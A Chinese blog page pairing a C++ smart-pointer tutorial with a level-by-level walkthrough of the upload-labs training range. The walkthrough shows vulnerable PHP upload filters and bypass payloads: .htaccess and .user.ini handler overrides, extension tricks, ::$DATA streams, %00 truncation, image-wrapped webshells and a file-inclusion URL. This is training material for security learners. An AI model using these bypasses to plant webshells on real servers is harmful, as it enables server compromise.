CPP补充:智能指针

本文参考及图片引用:C++ 智能指针 - 全部用法详解-CSDN博客

用处

避免CPP里面的内存泄漏;

例子:

当 new 一个对象的时候,在其生命周期结束时,系统会自动调用它的析构函数;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Test {
public:
Test() { cout << "Test的构造函数..." << endl; }
~Test() { cout << "Test的析构函数..." << endl; }

int getDebug() { return this->debug; }

private:
int debug = 20;
};

int main()
{
Test a = Test();
cout << a.getDebug() << endl;

return 0;
}

test1

但是,当 new 一个对象指针指向一个匿名对象的时候,在这个对象生命周期应该结束时,并不会调用它的析构函数:

1
2
3
4
5
6
7
int main()
{
Test * a = new Test();
cout << a->getDebug() << endl;

return 0;
}

test2

换句话说,当有对象被引用的时候,就有可能导致内存泄漏,一旦内存泄漏,就会消耗整个程序的资源和效率,更甚至导致异常中断;

所以智能指针便是用来处理这个问题的;

实质

智能指针的实质实际上是一个模板类,它会管理给予它的特定类型指针,并对于指针的操作给予了很多运算符上的重载,所以在使用的时候可以直接将智能指针变量当作管理的指针直接使用;

所以你明白了智能指针为何可以对于引用的对象进行自动析构,因为它本身就是个对象,它的析构里自然就写进了析构引用的指针的操作;

所以?所以别再指针化的使用或引用这个类的类对象了,因为会导致之前的问题重复;

以下提到的 智能指针 这个名词,都可以理解是类的名字,它不是一个实际意义上的指针;

类别及其用法

所谓的智能指针在CPP中普遍使用也就存在4种形式: auto_ptr, unique_ptr, shared_ptr, weak_ptr;

其中,第一个在C++98中给出,后面三个在C++11中给出,作为前者的进阶版;

auto_ptr

用法:
头文件: #include < memory >
用 法: auto_ptr<类型> 变量名(new 类型)

这个类型是指针,但不用加*强调,写法比较奇怪,可以尝试用构造函数的调用来理解;

举例:

1
2
3
auto_ptr< string > str(new string(“要成为大牛~ 变得很牛逼!”));
auto_ptr<vector< int >> av(new vector< int >());
auto_ptr< int > array(new int[10]);

就第一部分遇到的问题,如何用智能指针解决:

1
2
3
4
5
6
7
int main()
{
auto_ptr<Test> a(new Test());
cout << a->getDebug() << endl; //重载运算符,也可以用*a来引用

return 0;
}

这个样子便解决了之前提到的引用匿名对象的无法析构的问题;

智能指针中三大函数

get()

作用是返回智能指针类管理的真实指针地址;

上面使用auto_ptr的代码可以等效为如下:

1
2
3
4
5
6
7
8
9
int main()
{
auto_ptr<Test> a(new Test());
Test* tmp = a.get();
cout << tmp->getDebug() << endl;
//delete tmp; 禁止析构智能指针管理的指针,不然会double free

return 0;
}
release()

作用是取消智能指针对管理地址的管理,将管理区置为NULL;

1
2
3
auto_ptr<Test> a(new Test());
Test *tmp = a.release();
delete tmp;

取消管理之后交给对应的指针变量,此时需要自己手动析构;

同时注意不能直接调用 a.release() , 如果直接使用,此时智能指针管理的指针为NULL,同时没有变量接收之前管理的内存地址,就会造成内存泄漏;

reset()

重置智能指针管理的内存地址;

1
2
3
4
5
auto_ptr<Test> a(new Test());

a.reset(); // 释放掉智能指针托管的指针内存,并将其置NULL

a.reset(new Test()); // 释放掉智能指针托管的指针内存,并将参数指针取代之

注意事项以及缺陷

  • 不要将auto_ptr变量定义为全局变量以及指针;

  • 使用它的赋值运算和拷贝构造时,实际上是在做管理指针的转移;

    假如p1和p2是两个已经初始化的智能指针,那么执行p1 = p2:

    trans
    图中的地址是由get()获取;

  • STL中使用auto_ptr不安全,因为容器元素需要支持复制和赋值:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    vector<auto_ptr<string>> vec;
    auto_ptr<string> p3(new string("I'm P3"));
    auto_ptr<string> p4(new string("I'm P4"));

    // 必须使用std::move修饰成右值,才可以进行插入容器中
    vec.push_back(std::move(p3));
    vec.push_back(std::move(p4));

    cout << "vec.at(0):" << *vec.at(0) << endl;
    cout << "vec[1]:" << *vec[1] << endl;


    // 风险来了:
    vec[0] = vec[1]; // 如果进行赋值,问题又回到了上面一个问题中。
    cout << "vec.at(0):" << *vec.at(0) << endl;
    cout << "vec[1]:" << *vec[1] << endl;

    此时运行这段代码会导致访问越界中断;

  • 不支持对象数组的内存管理:
    inside

unique_ptr

为了解决上述提出来的关于 auto_ptr 的缺陷, C++新版本更新了这个进阶版;

它比较于 auto_ptr 来说,多了三个优势:

  • 依然无法进行左值构造和赋值,但是可以允许临时的右值构造和赋值;
  • 在容器中使用是安全的;
  • 允许对象数组的内存管理;

同时这里要强调一下,不管是 auto_ptr 还是 unique_ptr ,它们都是基于排他所有权模式:两个指针不能指向同一个资源;

这样一来就还是有一个问题:

unique_ptr的右值赋值效果等同于auto_ptr的=号赋值,只是做指针的转移,而非复制;

同样两个智能指针使用reset接管同一个指针的时候,最后一个会起接管作用,前者会被置零;

什么叫左值,右值? –> 左值指有专门内存空间的变量, 不是左值的都叫右值,可以是寄存器里的数,也可以是一个立即数;

那么如何实现两个智能指针的复制呢?如同平常使用的对象和类型的时候=号的第一直觉操作?

引出shared_ptr;

shared_ptr

它的出现解决了复制内存地址引用给多个智能指针使用;

至于如何实现的,首先需要回想一下,智能指针是干什么的;

智能指针用于解决引用对象的自动析构,那么引用的对象都析构了,另一个智能指针引用同样内存位置该析构谁呢?NULL吗?

所以shared_ptr和unique_ptr功能一模一样,可以理解为只是多了一个引用计数的静态类变量;

当有多个智能指针指向同一个内存地址时,引用次数就是那么多,每次在智能指针类做复制的时候在构造函数里将次数加一,析构的时候,将次数减一,判断为一的时候则析构引用的内存地址,这样就解决了引用共享问题;

引用次数的获取可以使用如下函数(use_count()):

shared

但这又引出一个新的问题;

循环引用

当一个A类中有B类的智能指针,且B类里也有A类的智能指针的时候;

当B类智能指针创建时,B引用次数加一,A类智能指针创建时,A引用次数加一;

A中引用B类智能指针时,B引用次数加一为二,同理B中引用A,A的引用次数也变为二;

这个时候系统生命周期结束时,释放创建时的智能指针,则A和B的引用次数都减1,变为1;

此时A类要析构,就需要先析构其中的B类智能指针,B类要析构,就需要先析构A类,造成无限循环等待;

weak_ptr

weak_ptr 设计的目的是为配合 shared_ptr 而引入的一种智能指针来协助 shared_ptr 工作, 它只可以从一个 shared_ptr 或另一个 weak_ptr 对象构造, 它的构造和析构不会引起引用记数的增加或减少。 同时weak_ptr 没有重载*和->但可以使用 lock 获得一个可用的 shared_ptr 对象。

它的出现就是为了解决循环引用;

在智能指针类中如需引用另一个智能指针,最好就写为weak类型,这样它不会改变引用的次数,从而破局循环引用;

一个weak类型可以直接由shared拷贝构造或者复制而来;

但weak类型不能复制或者拷贝构造给shared类型,需要使用lock()函数重新变成shared类型,同时引用次数+1;

weak指针有一个函数是 expired() ,作用是判断当前指针是否还有管理的对象,有返回false,无返回true;

总结

详细有关智能指针的代码操作如赋值,构造,析构,等等以及有关循环引用的更全面的讲解请查看第一行给出的参考网址;

本文更偏向于条目梳理和简单回顾;

大多数使用智能指针会出现的错误均已在上述给出,但这里还要提一个没有给出的错误:

禁止用任何类型智能指针get函数返回的指针去初始化另一个智能指针:

1
2
shared_ptr< int > a(new int(10));
// 一个典型的错误用法 shared_ptr< int > b(a.get());

实际上对于智能指针需要注意的操作也在于复制部分,如何利用好复制带来的方便的同时避免出错,就是智能指针需要掌握的点;

阅读全文
文件上传及其labs

环境配置问题

phpStudy搭建,php版本需要选择ts的,相应的httpd-conf也需要调整,具体调整在下方给出;

所有配置都基于老版本的小皮,新版本干不起,估计和apache版本也有关系;

可以直接使用docker,又方便又省事;

上传思路

目的是为了把木马或webShell传到服务器上,服务器一般有判断,所以要绕过;

接下来的步骤思路即为靶场题目每道所得心得:

判断分为前端JS代码判断和后端代码判断,第一步就是区分是前端还是后端:

使用抓包软件拦截状态时上传文件,如果抓不到但出结果了判断为前端,否则为后端;

前端可以由禁用JS方法来解决,后端的花样比较多,一般而言,第二步先改包头content-type字段(其实大多数时候用不到,和ESP定律一个尿性);

第三步区分黑白名单,黑名单就尝试后缀绕过,如php3,php5,phtml(此方法针对于过滤不完全的黑名单机制);

补充知识:apache服务的php版本中带有nts(not thread safe)的,是非多线程安全的,目前流通使用的大多都是TS的;

而往往nts版本的php会导致有些漏洞利用不了;

第四步就是正儿八经的文件上传漏洞的入门内容了,.htaccess绕过,详细见P04;

.user.ini绕过,详见P05;

::$DATA绕过,详见P09;

第五步便是正则绕过,各种特殊写法,在P05之后都有提及,(白名单)空字符(%00,0x00)截断;

第六步是针对于文件内容检测的绕过思路,图片标识,图片🐎一类的尝试;

另类,则是条件竞争

对于文件上传的总结位于P20,归于后缀绕过,内容绕过,条件利用三大类;

P01

通过BP抓包判断为前端检测,直接看前端JS,主要逻辑通过查找元素发现submit post之后返回一个check函数:

check

搜索找到这个函数:

func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

针对于前端检测而言,最有效的办法就是禁用网页的javaScript,这个禁用是针对全部的JS代码,所以有时候会影响一些功能导致无法使用,不过可以先试试;

这道题可以用上述方式解决;

P02

判断为后端执行检测;

这道题可以改content-type就可以绕过了:
content

P03

这道题提示上传php后为:不允许上传.asp,.aspx,.php,.jsp后缀文件!

这是文件黑名单,而目前大多数网址使用的文件上传服务都是白名单机制,而且非常严格;

后端php判断如下,这个判断一般是写在apache服务里的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

其实它的过滤不完全,后缀只过滤掉了4个基础解析后缀,还有php3这种也能被解析成php文件的特殊文件后缀,俗称后缀绕过;

这道题如果是小皮环境,需要添加apache的httpd-conf内的php解析:

1
AddType application/x-httpd-php .php .php3 .php5 .phtml

还需要切换php版本为ts;

实在懒可以用BUUCTF的 (

P04

用之前的方法,会提示:此文件不允许上传!

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

和P03一样的检测,只不过堵死了大部分后缀,而黑名单里的话,其中有两个后缀很有意思,一个是htaccess,一个是ini,这道题没有禁前者;

.htaccess

是一个服务器分布式配置文件,每个网址根目录都会有;

但相对于httpd.conf而言,httpd.conf是作用于全局,是apache的主要配置文件,影响整个服务器;

而.htaccess文件作用范围是局部的,常位于根目录和特定目录,只影响其所在的对应目录;

使用方法:.htaccess文件修改后即时生效,而Httpd.conf一般需要管理员级权限才能进行修改,修改需要重启apache服务器才能应用;

本题可以先上传一个.htaccess文件,里面配置这么一句话:

1
2
3
<FilesMatch "Hack">                      
SetHandler application/x-httpd-php
</FilesMatch>

检测名字叫Hack的文件以php形式解析;

或者

1
AddType application/x-httpd-php .jpg .txt

意思是使jpg和txt后缀按照php文件的内容进行解析执行;

那么在这个上传目录内,传入的jpg和txt便会按照php执行了(要求服务端开启.htaccess功能 httpd.conf 所有override改为 all);

一般而言,直接改一句话木马的后缀为jpg,服务端很可能检测图片内容是否合法,所以可以使用命令合并一句话木马和一张图片来达成目的:

1
copy muma.php+tupian.jpg/b new.jpg

P05

前置知识

下面两个文件的关系和httpd.conf与.htaccess的关系类似,httpd.conf与.htaccess针对于apache服务器而言是有的;

而下面两个文件针对于php而言;

.user.ini

特定于用户和特定目录的配置文件,常常位于web应用程序的根目录下,用于覆盖或追加全局配置文件(php.ini)中的php配置选项;

作用范围:相对目录及其子目录;

生效:修改即生效;

注意,此文件生效前提是php版本大于5.3.0,最好是7的版本,且Server API为 CGI/FastCGI

php.ini

存储对整个php环境生效的配置选项,常位于php安装目录中;

作用范围:所有运行在该php环境中的php请求;

生效方式:重启php或者服务器;

此关为.user.ini上传漏洞,利用前置要求:**.user.ini生效,且上传目录已存在php文件**;

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

一样的过滤方式,但没过滤.user.ini;

绕过写法:

1
Auto-prepend-file = file.txt 

这个txt文件里只有php代码,当ini被加载后,这句话会使得这个目录下所有php文件自动包含这个file.txt里的内容,再执行;

包含进去的代码被贴到已有php文件之后;

点加空格加点绕过

此题的另类绕过方法;

Windows会将后缀名之后的.与空格自动删除;

这道题的绕过过程为:

  • 获取文件名
  • 删除文件末尾的点
  • 以点分割为一个后缀名
  • 将后缀名转为小写
  • 对后缀名去多余空格
  • 判断

当文件为file.php时,第三步获取到的文件后缀是.php,第一步获取的文件名为file.php;

但当文件为file.php. .时,第三步获取到的文件后缀是. ,第一步获取到的文件名为file.php. ;

所以可以绕过判断,并在上传后自动修正文件名为file.php;

P06

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

无法使用之前的两种绕过,但是它没判断大写,所以这道题可以大写绕过;

大写绕过

将后缀改为Php,PHP都可,只要不被匹配到;

P07

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题和之前的过滤并没有把首尾去空,可以利用空格绕过;

空格绕过

在匹配的时候,后缀字符串后面有一个空格不会被匹配到,但是传上去之后Windows会自动删除末尾的空格;

P08

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题并没有删除末尾点这一步;

加点绕过

如之前所说,在windows上后缀名之后的点和空格都会被删的原理;

P09

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这次它的过滤比起之前的少了去除字符串::$DATA,那么这个东西是如何利用的呢?

额外数据流

windows操作系统中,文件名后面跟着::$DATA,表示一个文件附加数据流,数据流是一种用于在文件内部存储额外数据的机制;

正常情况下,文件只有一个默认数据流,通过文件名访问,但同时Windows NT文件系统支持在文件内部创建额外的数据流,存储其他信息用;

这些额外的数据流通过在文件后面添加::$DATA来访问;

写入方法:

利用重定向实现写入额外数据流;

1
2
echo "deadbeaf" >> file.png:Hack
type file.php >> file.png:Hack

上述后面的语句表示file.png文件的一个叫做Hack的额外数据流;

echo是将内容写入,type是将一个文件的内容写入;

查看方法:

1
notepad file.png:Hack

此时会用记事本打开额外数据流的内容并显示;

::$DATA绕过

在php中,不会验证数据流后缀,如数据流名字为a.php,它只是一个数据流而不是一个文件,所以不会验证.php;

在上面也说了,一个文件后面跟着::$DATA就是一个数据流;

而windows中,文件名不允许冒号的存在,所以在上传时,改名文件后面跟着::$DATA,让检验部分认为这上传的是一个数据流而不是文件,从而绕过检测,在到达上传文件夹后,因windows的文件命名规则,将会删除冒号后面的东西变回文件,这就是绕过过程;

P10

与P05的另类绕过方式一样;

P11

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题并不是用的in_array函数,而是str_ireplace函数,有什么区别呢?

前者会使用正则匹配整句话,而后者不去匹配整句,只会找这串字符(php)然后消除,即便后面加点加空格也会被消除,大写同理;

看起来不好绕了,因为特殊写法失效了,但其实这道题是最好绕的,sql注入里学的最有意思的便是双写绕过了;

因为只判断一次,所以直接后缀起名 pphphp ,匹配中中间的php使之剔除,留下php绕过;

P12

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这道题与之前不同的是,使用了白名单机制;

可以知道php文件上传时,文件先是放于临时路径,之后转移到实际文件内,路径上的才是实际上的文件,之前改的文件名及其后缀只是包头内的一个字符串字段;

这道题的路径是可以被控制的,因为可以用Get传参;

此时可以用空字符截断,本身是Get部分加上后面的文件名和后缀内容组成一个文件路径,但可以在get部分直接写上一个完整文件路径,然后用空字符截断后面连接的部分达成绕过jpg的同时上传的文件类型是php;

在上传时,只需要设置参数即可成功:

1
?save_path=../upload/file.php%00

P13

这道题和P12类似,get请求变为post请求,所以在后面添加0x00的hex编码即可;

P14

图片字节标识

魔术码

JPEG/JFIF 0xFF 0xD8

PNG 0x89 0x50

GIF 0x47 0x49

BMP 0x42 0x4D

TIFF 可变动,但也是前两个字节;

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

这道题在检测上传文件的标识符,也就是前两个字节;

那么绕过思路则是在写好的一句话木马前面添加标识符进行绕过;

但这样还不够,服务器会把它按照图片解析,需要利用 文件包含漏洞 运行图片🐎中的木马;

文件包含前瞻

php设计之初为了使资源利用率更高效,设计了include这么一个东西;

当一个文件要引用一个另文件时,include进来就能直接使得这个文件调用一次;

当操控者可以控制include后面跟着的文件路径时,漏洞就发生了,因为在包含之后的文件会以php解析的形式执行,当图片内有php木马时,include就导致了木马的执行;

在upload文件夹的上层,靶场自带了一个include.php文件,用来形成文件包含漏洞的:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
/* 本页面存在文件包含漏洞,用于测试图片马是否能正常运行! */
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file))
{
include $file;
}
else
{
show_source(__file__);
}
?>

那么此时上传之后,使用该漏洞便可成功绕过:

1
127.0.0.1/upload-labs-master/include.php?file=./upload/file.png

P15

这道题相对于P14对图片检测要求更严格,会检测上传图片的大小,此时就需要用到在P04说到的方法,copy图片和木马成为一个图片🐎;

之后利用文件包含漏洞绕过;

(实际上可以用010eiditor把木马以十六进制格式附加到图片末尾)

P16

同P15一样;

P17

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
